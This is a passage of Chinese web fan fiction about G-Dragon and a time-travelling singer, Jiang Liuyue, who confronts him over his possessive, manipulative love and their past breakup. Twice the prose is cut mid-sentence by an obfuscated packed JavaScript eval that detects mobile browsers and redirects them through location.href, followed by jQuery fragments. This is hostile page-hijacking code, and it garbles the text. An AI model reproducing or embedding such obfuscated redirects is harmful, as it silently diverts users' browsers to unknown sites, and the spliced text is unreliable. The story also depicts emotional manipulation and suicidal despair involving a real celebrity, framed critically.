权志龙又亲了她一下,用理所当然的声音说道:“算什么?算你要拒绝刚刚交往的男朋友亲你,这 也太坏了,塔伊。” 江留月啊了一声,然后乖乖的说:“对不起。” 权志龙抿了抿嘴,说:“那你亲我一下。” 江留月软软的嘴唇贴在权志龙的脸颊上。 权志龙微微挑眉,嘴角勾起笑容。 这不是江留月第一次亲他,他们俩的亲密接触早就过线了,拍MV的时候曾经有过开玩笑的BOBO,玩 综艺节目的时候也曾经开玩笑的BOBO,但,这一刻,看似和以前蜻蜓点水一样的碰触一样的亲吻, 有了完全不一样的含义。 世人看来,这也许是水到渠成,人人羡慕的一段佳话,只有他知道,这是他处心积虑,机关算尽, 换来的越界。 权志龙当然知道自己这样很卑劣,很混蛋,很不是人。 江留月年纪还小,她如果有着健全的家庭和正常的人生,多半这会儿还和父母一起生活,18岁正常 的年纪还在读高三,也许高中时期会有喜欢的人,有短暂的交往,毕业的时候就可能顺势分手,到 了大学又认识新的缘分。 她应该有着正常的社交,在高中的时候就见过至少三四百名同龄男生,在接触中发觉自己喜欢的类 型,应该有着小心试探的牵手、正式的告白和循序渐进的肢体接触。 就算是恋爱,也只是她人生中比重很小的一部分,她应该在发愁自己的学业成绩,将恋爱作为一个参考项和情绪调节剂。 爱情也许是她人生的一大部分,也可能是一小部分,甚至微乎其微的存在。 如果是这样的江留月,也许根本不会爱上他这样疯狂、偏执、扭曲的男人,她会本能的害怕和逃 避,因为自己凶巴巴的态度和别扭的性格对他敬而远之,完全没必要承受他的情绪索求。 偏偏,这孩子有着支离破碎的完全靠不住的家庭,她没有正常的社交和朋友,几乎是在他一手掌控 的地盘里长大,她别无选择的依赖和信任着他,生命中的快乐悲伤愤怒哀愁都几乎来自于他。 权志龙在她身上倾注的心血、精力、时间,造就了一朵独一无二的玫瑰。 一开始的本意,只是想让她能够成为好的歌手,所以权志龙亲手教导,因为这孩子无人管教,因此 不自觉的也接过了她的生活,驱逐她身边的隐患,换上自己筛选过的亲友,业余时间怕她学坏所以 丢一些自己看过的书、艺术品给她。 她身上的坏毛病,权志龙盯着改,她不会的东西,权志龙手把手的教。 权志龙自己也没有意识到的时候,江留月已经完全按照他的喜好和标准一点点长大了,她是权志龙 的‘尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110413|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴’,是他的意识延伸到这个世界上寻找的新宿主。 【你是我的。】 权志龙每次凝视着她的时候,心里最先膨胀的,就是贪婪的占有欲。 你唱歌的声音,跳舞的动作,手指无意识打着的节拍,对待工作的态度,甚至笑起来的时候捂着嘴 的小动作,得意的时候挑眉的弧度,都是我的投射。 塔伊,在这个世界上,没有人比我更爱你。 这并非是我宣告竞争的优势,而是我卑劣怯懦的缺陷。 当你被我的爱所吞没的时候,世人都在赞美惊叹我的深情付出,但只有我知道,那是一只只向你乞 讨的手。 爱的本质是索取。 我暴烈的爱你,是为了向你贪婪的索取。 我向你索取孩子的依赖与信任,恋人的恋慕与忠诚,伴侣的陪伴与安全感,母亲的无私与包容。 我向你索取你看向我时明亮清澈的双眼,拥抱我时温暖的手,索取我流泪时安慰我的嘴唇,我恐慌 时你依偎在我怀中的重量。 我向你索取长久的陪伴,无话不谈的坦诚,你不为人知的心事与沉睡时均匀的呼吸。 我向你索取你阴暗的小秘密,你对这世界偶尔的憎恨,你看向我时心碎的眼神。 我枯瘦、贪婪、扭曲,而你是蓬勃挺拔的一棵树木,长在翠绿的山坡上,被风吹动,树叶哗哗作 响,阳光从你的身体缝隙里洒在我干枯的灵魂。 我在世人面前尖锐华丽灿烂无所不能。 唯独向你,我袒露我的无能、脆弱、退缩和不知何去何从的灵魂。 你可以扼杀它,怨恨它、撕裂它。 你可以对它做任何事情。 除了离它而去。 【如果你是我的话,你应该完全的理解我为什么会这样做。】 权志龙想起自己对‘他’说的话。 因为是处心积虑得到的爱,他甚至不敢确定,自己在江留月身上得到的,到底是靠蒙蔽和诱骗获得 的幻觉,还是她被扭曲篡改的感情。 所以他总是忍不住想要去试探,她对自己是否还保持着当初的心情。 看着她着急、掉泪、委屈,就像是看到对方向自己一次次的保证,权志龙焦躁的不安的心才能得到 安抚。 他需要无数次向江留月求证,她依然爱着他,绝对不会离开他。 ……所以到底是怎么失控的啊。 权志龙只有晕倒之后‘旁观’的记忆,从仅有的对话和相处来看,他们两个人必然出现了很严重的 问题,还有那个金优……看起来,似乎在未来中,这家伙依然是塔伊的经纪人,然后蛊惑了这个孩 子,做了什么错事吗? 到底是什么事情,会发展到现在这个状态? 想到江留月精神恍惚的样子,权志龙就感到一阵心碎和心烦意乱,他勉强压住自己的情绪,让自己 不要子乱阵脚。 没关系的,她至少还在这里,就算真的生病了,他也可以找最好的医生最好的设备最好的环境慢慢 治愈她。 权志龙不知道‘自己’为什么会在未来搞成这个样子,他感到窝火和憎恶,甚至有着对自己的怨毒 心情。 但面对江留月的时候,他又强行镇定下来,假装若无其事的,伸手去摸了摸江留月的头发,想要用 聊天让她更放松一些。 “塔伊,你在想什么?” “想什么……” 江留月无意识的重复了一下权志龙的话,然后眨了眨眼睛。 自从家门出来之后,权志龙和她的交谈就不算多,大多数是权志龙提出几个建议,她没什么意见的 表示可以。 权志龙本来想去汉江,结果因为暴雨可能会涨水,然后就到了这座山来了。 江留月记得这座山,这座山顶有个民宿,他们来玩过几次。 这里的半山腰有一个很大的观景台,权志龙将车停在旁边,他们在观景台这里站着吹吹夜风。 刚落完雨没多久,山里的植被都很潮湿,风有时候会带来些许雨滴。 旁边是一棵晚樱,不知道为什么这么大的雨竟然没有全部凋落,此刻带着潮湿的水汽落在她的手背 和脸颊上,留下湿漉漉的痕迹。 她从醒过来开始就一直在试图捋清楚眼前这个人是谁,捋来捋去,只是让自己更混乱了。 从对话来说,那个‘权志龙’似乎来自于比自己还要晚的时间,大约是自己没了之后的事情……?这可以说得通金优坐牢的事情,但,他为什么能来?又为什么会来?为什么似乎释然了自己的决 定,又忽然翻脸? 两个人?人格分裂? 江留月真的很苦闷,她本来因为对方和金优对话的事情判定对方也来自未来,想要爽快的分手,整 理好彼此的关系免得互相折磨,结果对方现在又若无其事的弹起来了恋爱,搞得她很是混乱。 她试图让自己回到之前的状态,但这感觉太奇怪了,就像是两个人对着演戏,谁也不知道下一秒谁 会演不下去的变成小丑。 江留月讨厌这种感觉。 “你什么时候跟我说分手啊,哥。” 她忍不住问到:“你一直这样装作没事儿的样子,我真的觉得很难受。” 权志龙呼吸一顿。 他抿了抿嘴,吐出一口气,尽量语气平缓:“我不会跟你分手的,塔伊,哥不是跟你说过了吗,我 们死都不会分开的。” 江留月皱着眉,用近乎无语的语气说道:“分开了啊。” 权志龙额头隐隐作痛,他努力让自己不要发火:“哪有分开。” “分开了!”江留月快要疯了:“拜托了哥,我们那样的对话……现在装糊涂没有意义啊,你这样 演下去我们要演到什么时候啊,你真的不觉得厌倦,不觉得奇怪吗?” 她抓着自己的头发,一时不知道是不是自己的脑袋真的不清醒:“你……你好混乱,你好奇怪,我 真的不知道你在想什么了……” “塔伊!” 权志龙猛然用手抓住她的手腕,让她松开自己的头发,然后用手捧着她的脸,竭力让她冷静下来: “冷静点,塔伊啊,你冷静点,别这样对自己……” 他深吸了口气:“我知道,我知道你经历了很多伤心的事,但,但是我向你保证,那些都过去了, 不会再发生了……我们不会分手也不会分开,永远都不会,你相信哥,好不好?” 江留月皱着眉,她只觉得混乱。 “你、你别逃避问题啊……志龙哥,这样是没用的,你不要每次发生什么都假装没发生……我很辛 苦的。” 她喃喃的说道:“你这样,我真的很辛苦的……” 她没有哭,但是小脸皱起来,很委屈的看着权志龙。 “每次吵架了闹分手了你都这样……你总是装作什么都没发生,若无其事的亲我对我好,可是、可 是……” “可是我还在伤心。” “心口一直很痛,一直没有好,可是你又对我很好,我都混乱了。” “为什么只有我一个人难过啊哥哥。” “你若无其事的样子,真的让我好伤心。” 权志龙心都要碎了,他不住的道歉,亲着她的脸颊,可是江留月很抗拒的别开了脸,她撇着嘴,呼 吸急促的瞪着她。 “好、好……别生气,别生气,塔伊啊,深呼吸,深呼吸,你这样真的会弄坏身体的。”权志龙现 在哪里敢让她再这样混乱下去,语无伦次的道歉:“塔伊啊,不管发生什么,是哥哥错了,哥哥给 你道歉,我一定会改的,你可以罚我,打我,你不喜欢的事情,你都说出来,哥再也不会做了,好 不好?” “已经发生的事情要怎么改啊。” 江留月见他这样,忽然警觉这家伙是不是真的一直在演戏,如果是这样的话,他可太过分了!!明 明都要分手了,临到跟前又后悔是吧!? 她怒火冲天,狠狠的推开权志龙:“讨厌你,你总是装没事,你是不是觉得现在是2014年你就装没 事,你都不认账了是不是。” “我认账,我认账,塔伊啊,哥认的,这里太冷了,我们回家去,我们先回家,我们慢慢说,好不 好?” 权志龙看她这个样子心碎得快要透不过气来,握住她的手,低声下气的请求着:“你就算要判我死 罪,也让我死个明白,我们回去好好说,你生气的每一件事情我们都记下来,好不好?” 江留月不说话了。 她死死盯着权志龙了一会儿,狠狠地抿了抿嘴:“你是不是真心的?” 权志龙赶紧点头。 江留月又盯了他几秒,她的呼吸隐约又急促起来,烦躁的情绪在四处冲撞,她能意识到对方似乎真 的要改,但又因为他之前的表现烦躁,觉得不能这样轻轻放下。 看她气得胸口起伏,权志龙是真怕她憋着气坏了,于是伸手想要摸摸她的脸颊安抚,手才摸到她的 脸,江留月就忽然抓住他的手,恶狠狠地一口咬了下去。 这一口是真狠,权志龙疼的眼前一黑,但他咬着牙吸着气忍住了没动。 江留月尝到了血腥味,心里的火气才下去了一些,狠狠地甩开他的手,这一口咬得很重,权志龙的大拇指和手侧几个冒血的牙印。 她冷不丁看到权志龙的伤口,心里头莫名又有点心虚。 毕竟权志龙真的态度很好,也愿意聊一下,她这冷不丁的一口咬得那么重,倒像是无理取闹了。 权志龙抬起手看了看伤口,然后轻轻地叹了口气,然后对着她抬起了手,江留月吓得一缩,那只手 却捏着她的下巴抬起她的脸,大拇指拨弄了一下她脸颊的软肉。 她只能看到权志龙淡色的眸子微微带着点无奈: “牙还怪厉害的。” 他松开她的下巴,另一只手从口袋里摸出车钥匙对着不远处的车按了一下,然后又换了伤手拿钥 匙,完好的那只手伸向她: “好了。” 权志龙笑着说: “回家了。” 55.Heartbreaker (上) 55.Heartbreaker (上) 他们是什么时候开始真的出现问题的呢? 如果你要问权志龙,他给出的时间,大概就是在进入2014年的冬日之后,江留月和他之间的相处, 忽然变得紧绷起来。 江留月变得很容易情绪化,两个人见面的时间本就因为忙碌的行程被压缩得所剩无几,权志龙所期 待的愉快的见面也经常沦为气氛紧绷奇怪的煎熬时刻。 但是,为什么呢? 本来爱笑爱闹的孩子为什么忽然变成了沉默寡言的大人,为什么总是一个人看着窗户发呆,为什么 开始有了手机里的秘密,有了许多不愿意跟他说的事情。 ……没有答案。 权志龙一直到分手,没有得到答案。 他知道江留月变了,他也努力寻找过原因,但怎么都找不到。 他尽量让自己做得更好,但,江留月越发抗拒他对她‘好’的这个行为,她不断尝试着脱离他的保 护,开始接触一些不同风格的音乐人,也在聊之前一直不愿意去拍的电视剧。 这种不受控制的脱离感让权志龙变得很敏感,两个人的关系就这样,好似没有发生什么坏事,却一 路向着坏的结局前去了。 “我来之前大约是2024年的3月……?差不多的季节和时间,十年后的某一天,我睡着之后再醒 来,人就已经在公寓里了。” 江留月倒是很认真的开始交代自己的事情:“我差不多在中国已经活动了八年的时间,首尔这边已 经很少回来了,所以……不知道怎么的,我为什么会觉得哥你知道呢。” 她看向权志龙,对方还穿着外出的衣服,就坐在她面前的地毯上,认真的倾听着她说话。 江留月摊了摊手:“哥你好像是知道的,我换了个…灵魂?” 本来也是自己的灵魂,这样形容有些古怪,但江留月一时之间找不到更好的形容词,她又摊了摊 手:“嗯……如果你想问那个本来2014年的我……抱歉了,应该是被我取代了,我不是故意的。” “你就是你。” 权志龙表情倒还算柔和,他伸出手想摸一下江留月的脸,江留月下意识后退了一下,他只好讪讪的 收回了手。 从袒露自己的身份开始,江留月就有点演不下去的别扭感。 之前是因为作为2014年的自己存在的时候,她的确和权志龙交往中,现在陡然交代两个人都分手七 八年了,再亲密接触就有点奇怪了。 “我们已经分手了。” “确切的说,分手很多年了,从哥去服兵役开始,就分手了。”江留月说完这句话,下意识的看了 一眼权志龙。 权志龙表情很平静,其实攥着地毯的指节都青白了。 他故作镇定的用轻松地语气说道:“所以,为什么呢?” “我们为什么会分手呢?” 这一问,江留月还真的愣怔了一下。 为什么分手呢。 为什么会走到分手那一步呢? 原因好像有很多很多种。 权志龙过度的控制欲和偏执当然是一部分原因,但并不是主要原因,李顺英的事情,顶多只能算是 一条导火索。 她这是在那个导火索引爆所有的雷的时候,终于绝望了。 从这件事情爆发到最终分手的将近一年的时间里,她都和权志龙不是在想办法复合,而是她在出于 不甘心和怨恨报复和折磨对方。 权志龙初开始是默默忍受的,他低声下气的道歉,诚恳的求她原谅,也流了很多很多的眼泪,赌咒 发誓什么都不必说,还因此病了一场,手上还带着留置针就捧着花来找她。 本应该是很凄凉、很苦楚,很难过、很痛苦的场景。 可江留月只觉得很窒息,很厌烦。 她怨恨权志龙每次碰到了问题,都先躲避再转移矛盾,怨恨权志龙发现自己没理的时候,就折磨自 己的身体,让自己生病难过,利用她对他的在乎来折磨她,逼迫她因为害怕他伤到自己而主动让 步。 他那样凄惨的样子,不管谁看了,都觉得他才是被害者。 江留月几乎一息奄奄,却看见救护车和人群都朝着权志龙而去。 她终于崩溃了。 她歇斯底里的和权志龙争吵,两个人对彼此说出了不知道多么伤人的话,她抗拒权志龙,也抗拒所有劝他们和好的人。 她怨恨这些人看不见她的崩溃,看不见她的绝望,看不见她快要被溺毙这看似深情的沼泽里。 【志龙知道错了。】 【志龙这样下去会垮掉的。】 【都已经交往那么久了,不管谁看你们都会结婚,为什么会在这个时候吵架呢。】 【现在Bigbang和志龙都是很艰难的时候,你不在他的身边要怎么办啊。】 【志龙真的很爱你,大家都看得到啊。】 所以呢。 为什么看不见她呢? 是因为她不重要吗? 是因为她只是附属品吗? 是因为她是权志龙,是G-Dragon的镇静剂、安抚药吗? 江留月下定决心分手和摆脱的,何止是权志龙呢? “因为我很痛苦。” 江留月想了一会儿,回答道:“所以就这样分手了。” 刚分手的那段时候,江留月才觉得自己被从沼泽里打捞上来,活过来了。 朋友们发来的信息里,谈论的内容总算不是‘你们什么时候和好’‘志龙怎么怎么怎么’而是‘新 的活动要加油’‘要注意身体’这种内容了。 尽管,这些朋友们,只有很少的几个人了。 大多数人,都因为参与到了她和权志龙的分手风波中被她给拉黑了。 她总算是夺回了生活圈的主导权,才觉得这个世界,总算是开始正常运转了。 这个世界的法则,终于不再是‘权志龙’了。 “……就这样分手了?” 权志龙指了指自己:“我?” 当然不是。 肯定是又哭又闹又上吊。 当时觉得痛苦的回忆,现在回想起来,不知道为什么,竟然变得有些滑稽了,江留月看着眼前权志 龙年轻的脸庞和他满脸不可思议的样子,竟然莫名的笑了一声,用轻快的口吻说道:“完全是大闹 一场呢,哥。” 她不等权志龙也笑,就又补充了一句:“但,时间逐渐推移,我们约好了冷静期,哥去了军队,大 家分开生活之后,好像没有对方也可以,于是整理之后一切也结束了。” 权志龙眼睛一眨不眨的看着她,他的表情看不出生气或者难过,而是有些探究的问道:“……没有 了?” 江留月想了想,摇了摇头。 权志龙从军队回来之后,他们除了巴黎那次见面和一些媒体的捕风捉影之外,确实没有了。 “那,要和好吗?” 权志龙抿了抿唇,用尽量轻松的语气说道,他用褐色的眸子专注的看着江留月: “塔伊啊,现在,和哥和好,我们继续交往,好吗?” 他没有继续追问,因为他没什么想法要为未来的自己那些愚蠢的行为买单,他要做的是现在就紧紧 抓住眼前的人。 “以后的我会做的蠢事,我现在就可以全部道歉,我不会让这一切再发生,那些痛苦的事情,伤害 你的事情,我真的一件也不会做,所以……和好吧,塔伊?” 权志龙伸出手握住了江留月放在膝盖的指尖。 两个人的眼神在空中汇聚。 他试探着往前凑,想要亲吻一下她。 江留月却把手抽走了:“不,志龙哥,我不想这样。” 她低下头,垂着的睫毛在脸颊上投下了阴影:“之前是因为,穿越时空这种事情太荒谬了,所以我 才只能什么都没有说,本来我也是打算……在哥去当兵之前就好好整理关系的。” “……为什么!?” 权志龙愣了,声音都高了八度:“塔伊?!” “我已经习惯……” “你才不习惯!”权志龙几乎是耍赖的打断了她的话:“你现在每天在我怀里不是睡得很好吗?说 实话就算是习惯,也是单身的你习惯现在的你不是吗?” “……我不是单身。” 江留月下意识的脱口而出。 权志龙愣了一下,然后猛然抬头,可能因为太荒谬了,他只是嗯了一声,像是怀疑自己的耳朵。 “我有男朋友。” 江留月犹豫了片刻,还是说道。 “……谁?那个废物金优?” 权志龙没好气的说道:“就那种男人……塔伊,你疯了吗?” “不是。” 江留月主打一个坦诚相对:“他也是前男友了。” “是有别人。” “我其实有稳定交往的男朋友。” 对方是她同一个公司的演员前辈,比她年长了好几岁,出身于演员世家,一直在各种正剧中演一些 很有记忆点的配角,性格温和稳定,说话起来柔声细语。 虽然有点冒犯,对方在她心里的感觉很像是东永裴。 江留月当时被公司建议捆绑交往的其实是个年下的大男孩儿,对方热烈直白,跟她一对眼睛,话都 说不顺溜,耳朵尖都红得滴血。 江留月知道CP也好恋爱也好,不过是因为她上次合作的男顶流们粉丝真的很害怕她和自己家哥哥假 戏真做,对方公司又一直借此机会捆绑着她硬是蹭热度蹭个没完,公司给出的权宜之计。 她却不忍这样对待少年的真心,正犹豫的时候,前辈看出了她的忧愁,约她喝茶,很认真诚恳的给 出了一个方案。 前辈有个见不得光的爱人。 巧得很。 她也是。 两个人一拍即合,前辈温文尔雅,人品过硬,虽不是大红大紫却是个很有实力的演员,而且对方年 长于她,处处关照呵护,把她当成女儿一样宠,江留月本就霸占流量,再谈一个流量难免反噬屠 版,于是两个人就顺水推舟成了一对感情稳定的‘情侣’。 前辈将恋人送出去留学,倒真是将她当成女儿一样养着,还拖着她去看中医开药调养,早起催她跑 步健身,吃饭让她养生清淡,江留月那被舆论、媒体和无孔不入的私生刺透的千疮百孔的人生,竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115473|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然被他缝缝补补了起来。 她有时候都有些恍惚,想着自己要是没有去韩国,在中国出道了,提前十几年碰上前辈,没准儿真 的能和他成为一家人。 前辈被她孩子气的想法给逗笑了,说:“明月,缘分是这样的,没有什么更好的安排之说,而且, 如果那样的话,你可能会觉得我古板无趣,我们连朋友都做不成呢?” 江留月想了想,觉得也是。 前辈又说:“不要觉得命运可憎,明月。” 江留月问:“那你这样的古板传统的家庭,你却偏偏喜欢同性,你也不觉得老天爷在耍你吗?” 前辈笑了一下:“我没遇到他之前,不觉得自己喜欢男人。” 他很坦然,江留月从来没见他因此后悔或者怨憎命运安排给他一个不那么合适,非要历经磨难,百 般遮掩的恋人。 大约是他们之间的幸福和快乐,总是比痛苦和难过还要多的。 江留月因此心绪平和许多,有阵子整个人都显得平和温润,情绪也很少大起大落。 因此提起前辈的时候,她不自觉的,嘴角还勾起了点怀念的笑容。 这笑容在权志龙看起来,就很刺眼了。 他无法理解,只是觉得很荒谬,耳朵里嗡嗡直响。 “那我们算什么?” 权志龙被气笑了:“塔伊……那我们算什么?你现在是说,和我在一起,是出轨,是偷情吗?” 江留月:“……” 忘了这茬了。 她下意识的转移眼神:“话别说得那么难听……” 权志龙伸手捏着她的下巴将她的脸掰过来,他肯定是被气得不轻,胸口都在剧烈起伏,说起话来咬 牙切齿: “看着我,塔伊,你现在是在出轨、在偷情吗?” “刺激吗?” “你喜欢玩这种游戏吗?” “那男人是谁啊?你背着我偷偷和他联系了吗?” 眼看权志龙气得发疯什么话都要说,江留月急忙打断了他:“没有!” 神经病,此时前辈大约刚刚出道,同时还在学校里读研究生,她可没兴趣冒出去打扰他既定的命运 轨迹。 话说……她回韩国之前是怎么处理和前辈的关系的?江留月甚至一直时间想不起来他们是否还在继 续交往了,毕竟前辈说过等年迈的父亲去世之后就打算带着恋人定居国外的。 江留月努力去回想,却怎么都想不起来,只有一片空白,对那个前辈的记忆怎么都只停留在平和的 相处上。 她还要想,却被权志龙的话打乱了思绪。 “……这样的话,那个男人也没那么好嘛。” 权志龙抿了抿唇,似乎找回来点理智,他竭力压着自己的情绪,阴阳怪气的说道:“也不是什么让 人一直想着,念念不忘的角色。” 江留月:“……” 她揉了揉刺痛眉心:“按照时间来说,我们要好几年之后才见面呢,我干嘛要现在去叨扰人家?而 且……那是还没发生的事情,请你不要吃这种醋好吗?” “怎么了?我不能嫉妒吗?”权志龙气急败坏:“你都能因为未来的我犯的错跟我分手了,塔伊, 我为什么不能因为你以后会……会认识的男人生气!” “我超生气的,我就生气了,你这个坏女人,你为什么这样对我。” 江留月:“……” 眼看着权志龙要越来越起劲了,她太阳穴突突直跳,只好大喊一声:“行了!现在反正我都回到没 交往的时候了,你就当没事儿发生就好了!” “我凭什么啊!!!” 权志龙气得超大声。 江留月:“金真儿、申安娜、韩智敏、Cocola、安昭熙、Cina、惠理子、fiona……怎么了,我要继续说吗哥?” 权志龙猛然闭嘴。 他憋得够呛,脸都涨红了,差点被自己哽到,好一会儿才没什么底气的说道:“和、和你一起之后 我没有交往过别人了,我一直都只看着你的。” 是啊。 只是一起吃了几次饭,喝了几次咖啡,一起去滑个雪、喝杯酒,然后顺便上了几次绯闻罢了。 如果是2014年的江留月,这会儿肯定气得要掉泪了。 但江留月此时看着他,只有一声冷笑: “所以我不是什么都没说吗?现在这些都是2014年之前的,之后的更多,不是绯闻不是闹着玩,是 真的交往的你的女朋友们,哥,那些女人的名字可以把你全身上下都纹满……要不要我提前告诉 你,让你们认识一下?” “她们都很有魅力,是会让你念念不忘的类型呢。” 权志龙抿着嘴不说话,好一会儿,他狠狠地用袖子擦了一下眼睛,然后瞪着江留月:“都说了那不 是我!!!为什么这样骂我!我没有做!!!” “我怎么就对她们念念不忘了,你这样说我我不会觉得冤枉吗!?!” 他声音都有些发抖了,眼圈红红的,高挺的鼻梁上还有可疑的水光。 江留月:“……” 哭了??? 不是?? 那么脆弱吗?! 56.Heartbreaker (中) 56.Heartbreaker (中) 要不说男人是不能哄的狗东西呢。 江留月甚至都没有哄,只是因为看到权志龙脸上的泪痕而顿住了,权志龙就立刻火速的抓住了她心软的瞬间。 “塔伊啊,认真想想的话,那也不一定就是未来的我啊,我们不是好好的吗?为了没有发生的事情 来骂我,哥也觉得很委屈啊,塔伊啊,你真的看不到哥的真心吗?” 他越来越靠近江留月,几乎整个人都要贴上来。 “从一开始,哥哥的眼里心里都只有你啊。” 权志龙热切的表白着,看似委屈,整个人却都捡回了精气神一样的舒缓起来了,变得游刃有余起 来。 他宽大的手掌不动声色的撑着沙发的两侧,看似弱势的半跪在地上,实则整个人只要稍微坐直或者 撑起身体,就能把江留月整个拢在怀里面。 他脸上还挂着有些湿润的泪痕,眼睛也是委屈的耷拉着,但只要仔细去看,你就能发现,他其实正 在跃跃欲试。 是了,权志龙每次在低声下气的道歉完之后,总是要借着江留月原谅后的心软,得寸进尺的索求安 慰,贪婪到恨不得把江留月嚼吧嚼吧咽下去,他沉迷这种反复拉扯的过程,喜欢那种紧绷之后骤然 松开的疼痛感与刺激。 漂亮的女人? 也许会看两眼吧,他本来就是对‘美丽的存在’很敏感的人,漂亮的女人、男人、艺术品,在他眼 里其实是差不多的东西。 至于这些人前仆后继的试图留在他的身边,和他合影,想要和他的名字一起出现在新闻里……都是一些无可奈何的社交罢了。 就像是他自己在歌词里写‘一年三百六十五天,洪吉童神功,我的手机一直在响,像是婴儿的哭 声’,又忍不住得意‘每天被行程折磨,夜里却觉得寂寞,期待我明天的绯闻吧’。 权志龙从来不觉得这些东西会动摇他和江留月的关系,在他没有和江留月确认关系之前,他也正儿 八经的交往过几个女人,但,就算是正牌女友也从未排到过江留月前面过。 这很显然是非常卑劣的行为,但他高强度的紧绷人生如果没有合适的情感出口,早就被逼疯了也不 一定。 更不要说,他已经拥有了江留月。 毫无疑问,这是他最渴求的人,这是他深爱的人。 他没有什么不满足的,只是难免会因为这样那样的原因不好开口拒绝,娱乐圈里适当的保持距离和 适当的不保持距离都是社交的必修课,甚至有时候他会刻意传一些绯闻或者说一些和显得和江留月的关系不那么亲密的话。 转移视线?模糊焦点?因为暂时不能公开? 总是有很多原因让人身不由己,而且他每次都很认真的向江留月解释和忏悔了。 ……这应该是能理解的东西,不是吗? 因为是艺人不是普通人,因为本身就混迹在就连空气都躁动的娱乐圈,因为要承受无数人的审视和 观察,权志龙善于演戏,他并不只是在江留月面前扮演她所喜欢的角色,在大众和摄像机面前更是 如此。 甚至有时候,理直气壮的告诉自己:“只因为你是个劣迹斑斑的权志龙,她才会得到更多善意和宽 容。” 完全是歪理胡说吗? 这个世界本来就是这样的。 权志龙一边想,一边将自己的头放在江留月的膝盖上,像是小孩子一样的蹭了蹭。 “你这样对我,真的很不公平,哥哥的心都要碎了塔伊啊。” “我们怎么能分手呢。” “我做错了什么,你要这样残忍的对我啊。” 黏黏糊糊的鼻音,委屈巴巴的口吻,绝对上位者的卑微姿态,这都是权志龙驾轻就熟的表演,从来 就没有过失手的时候。 “哥,你真的觉得我残忍吗?” 江留月却没有像是往常那样放松自己的身体让他抱住,而是一直身体紧绷的坐得很直,她的声音听 起来也很疲惫:“……怎么回事啊,说着说着,做错事情的人怎么变成我了。” 权志龙心里一紧,但他依然硬着头皮不说话,寄希望于江留月下一秒的心软。 但,江留月却似乎打定了主意不再纵容他。 她用手推开了权志龙,权志龙跌坐在地上,委屈的用红红的眼睛自下向上的看着她。 “志龙哥,你知道,你都是什么时候这样看着我的吗?” 江留月捋了一把自己的头发,看着权志龙:“那就是,你自己也知道自己犯了错的时候,你就会这 样看我。” “你分明也知道自己做错了嘛,你并不无辜这件事情,哥你的心里不是一清二楚吗?” 权志龙瞪大了眼睛,嘴巴微微张开却没说话,看起来冤枉到了极点。 江留月看着他这样,却不知道为何,差点一声嗤笑。 老天爷。 看看他吧。 这个手段拙劣的的混蛋,只是用一点稍微动脑就能看穿的卖惨,就这样挟制着她度过了那么久那么久的时间。 “我做错什么了啊塔伊啊!!”权志龙还在负隅顽抗,他甚至看起来有些理直气壮:“之前那些事 情,我都很认真的跟你解释了,为什么,你不相信我吗?” 他索性掏出自己的手机递给江留月:“那你翻好了,看我是不是又做错事了!” 想也知道,这位哥最近因为种种事情非常谨慎的对待自己的手机,而且一连串的事情发生,也让他 的确没有分出神去‘社交’。 “塔伊,相信哥哥不行吗?未来的事情我还没有做,你这样对我,真的很不公平。” 翻来覆去。 就是那么几句话。 他还没做下未来的错事儿,这些责罚,分手的后果,不应该由他来承担。 “……要我说多少遍啊,哥,这些事情我都经历过了,我也告诉过你了,分手的原因是我很痛苦,为什么装作听不见这些话啊。” “因为你没有经历,所以我经历的那些就要一笔勾销了吗?只有哥的痛苦是痛苦,我的痛苦是你只 要感觉不到就不存在的东西吗?” “我说我很痛苦……你真听不见吗?还是听见了也无所谓?” 江留月索性伸出了她冰凉的手捧住了权志龙的脸,她不允许对方眼神逃避的,一字一句地说道: “我痛苦到要结束自己的生命……这样哥你也要无视吗?也要我忍着这样的痛苦继续留在你的身边 吗?” “哪怕问一句,‘暂时分开会不会让你舒服一点’,哪怕说一句‘如果分开能让你开心那就分开’……怎么能张嘴就是‘这样对你不公平’呢?在哥心里头,什么是公平啊?” “怎么了,觉得因为未来的自己所以蒙受冤屈了吗?志龙哥,你可一点都不委屈,我的痛苦,就是 哥带来的,未来的你也好,现在的你也好,践踏我真心的瞬间,你们那冷漠的表情没有什么不 同。” “明知道我痛苦到要死的程度,哥你都只会威胁我,只会让我忍耐吗?” “你担心的只有,我离开你之后,你会变得不幸福吗?” “那我呢?” “我的幸福和平静的人生呢?你该不会觉得……在你身边,我就是幸福平静的吧?这不对吧,哥 哥,你自己不都说‘塔伊,你为什么总是那么多眼泪’吗?怎么了,眼泪这种东西,是我觉得幸福快乐才流的吗?” 她忍不住露出了一个笑容。 一个嘲讽的,刻薄的笑容。 权志龙被她说的这些话打得脸色发白,瞳孔疯狂抖动,嘴唇嗫嚅着一个字都说不出来。 “看看吧,权志龙。” “你根本只爱你自己嘛,你这自私的混蛋。” 江留月看着眼前的男人,疲惫而失望的松开了手,然后吐出了一口气。 “你真是……不管过了多少年,也完全死性不改。” 这一口气骂完,江留月舒服多了。 她捂着自己的胸口往后一靠,倒在了昂贵的真皮沙发上,感受到那舒适的包裹和支撑,极为缓慢的 闭上了眼睛,陷入了短暂的休憩。 自从回到2014年,她就想这样骂权志龙很久了。 